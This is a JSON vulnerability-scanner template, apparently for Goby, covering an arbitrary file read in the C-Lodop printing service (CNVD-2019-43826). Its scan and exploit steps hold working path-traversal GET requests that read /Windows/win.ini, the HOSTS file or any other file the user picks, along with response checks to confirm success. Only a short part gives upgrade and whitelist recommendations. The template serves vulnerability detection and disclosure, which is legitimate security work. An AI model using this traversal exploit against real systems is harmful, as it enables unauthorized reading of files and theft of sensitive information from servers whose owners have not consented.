{
  "Name": "C-Lodop Arbitrary File Read (CNVD-2019-43826)",
  "Description": "There is an arbitrary file reading vulnerability in C-Lodop Printing Service System, which can be used by attackers to obtain sensitive information.",
  "Product": "C-lodop Printing Service System",
  "Homepage": "http://www.lodop.net/",
  "DisclosureDate": "2021-05-26",
  "Author": "gobysec@gmail.com",
  "GobyQuery": "title=\"C-Lodop\"",
  "Level": "2",
  "Impact": "<p><span style=\"color: rgb(22, 51, 102); font-size: 16px;\">An attacker can use this vulnerability to obtain sensitive information</span><br></p>",
  "Recommendation": "<p>Suggestion 1: update the software to version 4.0 and above</p><p>Suggestion 2<span style=\"color: var(--primaryFont-color);\">: adopt the \"limited white list\" access mode provided by the software</span></p>",
  "References": [
    "https://www.cnvd.org.cn/flaw/show/CNVD-2019-43826"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "file",
      "type": "select",
      "value": "/Windows/win.ini,/Windows/System32/drivers/etc/HOSTS",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/../../../../../../../../../../Windows/win.ini",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "font",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "extensions",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "file",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/../../../../../../{{{file}}}",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "SetVariable": [
        "output|lastbody"
      ]
    }
  ],
  "Tags": [],
  "CVEIDs": null,
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}